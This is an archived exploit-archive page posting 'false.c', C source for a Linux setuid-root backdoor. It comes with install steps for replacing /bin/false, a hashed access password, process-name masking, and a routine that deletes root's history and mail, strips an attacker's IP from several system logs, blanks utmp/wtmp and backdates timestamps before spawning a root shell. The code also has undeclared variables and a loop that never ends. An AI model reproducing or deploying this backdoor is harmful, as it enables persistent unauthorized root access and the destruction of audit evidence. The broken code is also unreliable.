exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

false.c

false.c
Posted Jun 4, 2002
Authored by Pir8 | Site dtors.net

False.c is a local/remote backdoor for Linux.

tags | tool, remote, local, rootkit
systems | linux, unix
SHA-256 | 1258fc1afb8d05496afbb0ac6750abcae3d1f81d9148516aa2e5bdb83bce46ca

false.c

Change Mirror Download
/* 
* False.c - by Pir8
*
* False.c is a local/remote backdoor, depending
* on how you set it up.
*
* Remote:
* gcc false.c -o false -lcrypt
* mv ./false /bin/false
* passwd rpc or passwd xfs
* chmod 4775 /bin/false
*
* Local:
* gcc false.c -o sush -lcrypt
* chmod 4775 sush
* ./sush
*
*/






#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define remove "/bin/rm"
#define link "/bin/ln"
#define grep "/bin/grep"
#define touch "/bin/touch"
#define killall "/usr/bin/killall"
#define echo "/bin/echo"
#define move "/bin/mv"
#define PWD "uXO1k5bPFzFhk" /* passwd can be changed using "htpasswd" */


int main() { /* Lets start the program */

char *crypted=PWD;
char *pass; /* variable for passwd */
char ip[15];
char execute[200];


pass = (char *)getpass ("Password: "); /* lets get users pass */

if (strcmp(crypt(pass,crypted),crypted)) { /* lets see if the pass entered matches */

printf("SeCshell Protected.\n"); /* display text */
sleep(3); /* rest for 3 secs */
system("/bin/cat /dev/urandom"); /* Flood users Terminal */
exit(1);
}

else
{
setuid(0); /* remove this line if you dont want to get a root shell */
setgid(0); /* remove this line if you dont want to get a root shell */


while(i<argc){
strcpy(argv[i],"xfs -daemon -cron");
}

/* Lets start cleaning some files! */

printf("Input an IP/Username to clean: ");
scanf("%15s", ip);
printf("Cleaning -> %s\n", ip);

sprintf(execute,"%s /var/spool/mail/root", remove);
system(execute);
printf("\nCleaning mail.....");
sprintf(execute,"%s \"\" > /var/spool/mail/root", echo);
system(execute);
printf("OK");

sprintf(execute,"%s -r /bin/ls /var/spool/mail/root", touch);
system(execute);

printf("\nRemoving History.....");
sprintf(execute,"%s -rf /root/.bash_history", remove);
system(execute);
printf("OK");

printf("\nUpdating time stamps.....");
sprintf(execute,"%s -s /dev/null /root/.bash_history", link);
system(execute);
printf("OK");

printf("\nCleaning /var/log/secure.....");
sprintf(execute,"%s -v %s /var/log/secure > /var/log/secure1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/secure1 /var/log/secure", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/secure", touch);
system(execute);
printf("OK");

printf("\nCleaning /var/log/lastlog.....");
sprintf(execute,"%s -v %s /var/log/lastlog > /var/log/lastlog1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/lastlog1 /var/log/lastlog", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/lastlog", touch);
system(execute);
printf("OK");

printf("\nCleaning /var/log/xferlog.....");
sprintf(execute,"%s -v %s /var/log/xferlog > /var/log/xferlog1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/xferlog1 /var/log/xferlog", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/xferlog", touch);
system(execute);
printf("OK");


printf("\nCleaning /var/log/messages.....");
sprintf(execute,"%s -v %s /var/log/messages > /var/log/messages1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/messages1 /var/log/messages", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/messages", touch);
system(execute);
printf("OK");

printf("\nCleaning utmp and wtmp.....");
sprintf(execute,"%s "" > /var/run/utmp", echo);
system(execute);

sprintf(execute,"%s "" > /var/run/wtmp", echo);
system(execute);
printf("OK");

printf("\nRestarting syslogd.....");
sprintf(execute,"%s -HUP syslogd", killall);
system(execute);
printf("\nCleaning restart log.....");
sprintf(execute,"%s -v syslogd /var/log/messages > /var/log/messages1", grep);
system(execute);
sprintf(execute,"%s -f /var/log/messages1 /var/log/messages", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/messages", touch);
system(execute);
printf("OK");
printf("\n\nLogs have been cleaned successfully!");


execl("/bin/sh",".dtors",0); /* Execute shell */

}
return (0);
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close